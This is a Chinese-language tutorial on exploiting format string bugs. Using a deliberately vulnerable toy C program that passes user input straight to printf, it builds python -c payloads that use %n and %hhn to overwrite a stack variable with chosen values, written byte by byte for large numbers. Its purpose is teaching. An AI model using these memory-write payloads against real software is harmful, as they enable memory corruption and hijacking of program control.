格式化字符串漏洞利用2
現在我們已經可以讀取棧上和任意地址的內存了,那么我們同樣可以修改棧上任意變量的值,只要變量對應的地址可寫,我們就可以利用格式化字符串來修改其對應的數值。
覆蓋棧內存
首先明確一點%n 轉換指示符將 %n 當前已經成功寫入流或緩沖區中的字符個數存儲到地址由參數指定的整數中。
舉個例子
#include <stdio.h>
int main()
{
int num;
char *str = "hello fmt";
printf("%s %n\n", str, &num);
printf("%d\n", num);
return 0;
}

“hello fmt”后面加上一個空格正好10個字節,將10寫入num。
通常情況下,我們要需要覆寫的值是一個 shellcode 的地址,而這個地址往往是一個很大的數字。這時我們就需要通過使用具體的寬度或精度的轉換規范來控制寫入的字符個數,即在格式字符串中加上一個十進制整數來表示輸出的最小位數,如果實際位數大于定義的寬度,則按實際位數輸出,反之則以空格或 0 補齊(0 補齊時在寬度前加點. 或 0)。
printf("%0100u%n\n", 1, &i);
printf("\n\ni is : %d\n", i);

下面我們將0xcafebabe寫入內存
printf("%03405691582d%n\n", 1, &i);
printf("\n\ni is : %p\n", i);
---------------------------------------
$ ...
$ 0xcafebabe
接著嘗試把
棧上的變量覆蓋成我們自定義的數值,看如下代碼
#include <stdio.h>
int main()
{
int n_change = 1;
char str[200];
printf("before is : %d\n", n_change);
scanf("%s",str);
printf(str);
printf("\nafter is : %d\n", n_change);
return 0;
}
給出格式化字符串之前和格式化字符串之后的對比,我們通過調試確定n_change變量的地址為0xffffd06c,比如我們想要覆蓋其為16,那么構造的payload就是:
python -c 'print ("\x6c\xd0\xff\xff"+"%012d"+"%5$n" )'
首先是要覆蓋的變量的地址,然后輸出12個字節,接著就是變量地址在棧空間上的偏移,這個我們之前講過,12 + 4 = 16。
接著就是驗證漏洞了



看到目標變量的地址了,接著繼續執行

覆蓋成功
覆蓋任意地址內存
覆蓋小數字
在介紹完上面的溢出套路后,或許會發現一個問題,那就是使用上面覆蓋內存的方法,值最小只能是 4,因為地址就占去了 4 個字節。如何覆蓋成小數字呢?我們完全可以不把地址放在格式化字符串之前,還是上面的例題。python -c 'print ("AA%7$nAA"+"\x6c\xd0\xff\xff" )' > text2
前面AA%7$nAA占8個字節,所以從%5變成了%7。地址仍然是要覆蓋變量的地址,只不過前面多了8個字節也就是2個地址的單位。


在格式化字符串漏洞函數處下斷點,接著將程序跑起來。

變量地址在7個偏移處,執行后看到覆蓋完成。
覆蓋大數字
按照前面的套路,我們直接輸入一個地址的十進制就可以進行賦值,可是,這樣占用的內存空間太大,等待時間較長,而且往往會覆蓋掉其他重要的地址而產生錯誤。
其實我們可以通過長度修飾符來更改寫入的值的大小
char c;
short s;
int i;
long l;
long long ll;
printf("%s %hhn\n", str, &c); // 寫入單字節
printf("%s %hn\n", str, &s); // 寫入雙字節
printf("%s %n\n", str, &i); // 寫入4字節
printf("%s %ln\n", str, &l); // 寫入8字節
printf("%s %lln\n", str, &ll); // 寫入16字節
所以說,我們可以利用%hhn向某個地址寫入單字節,利用%hn向某個地址寫入雙字節。
比如我們想把0xffffd06c處的變量數值覆蓋成0x12345678,我們可以這樣做。
// 小端排序
0xffffd06c ---> \x78
0xffffd06d ---> \x56
0xffffd06e ---> \x34
0xffffd06f ---> \x12
前面為要覆蓋的地址,后面為要覆蓋的數值。都是單字節的。
構造的payload為python -c 'print ("\x6c\xd0\xff\xff" + "\x6d\xd0\xff\xff" + "\x6e\xd0\xff\xff" + "\x6f\xd0\xff\xff" +"%104c%5$hhn"+"%222c%6$hhn"+"%222c%7$hhn"+"%222c%8$hhn" )' > text2
其中前四個部分是 4 個寫入地址,占 4*4=16 字節,后面四個部分分別用于寫入十六進制數,由于使用了 hh,所以只會保留一個字節 0x78(16+104=120 -> 0x78)、0x56(120+222=342 -> 0x0156 -> 0x56)、0x34(342+222=564 -> 0x0234 -> 0x34)、0x12(564+222=786 -> 0x312 -> 0x12)。這也就是為什么我們常用hhn的原因了,因為好構造啊。



覆蓋成功
參考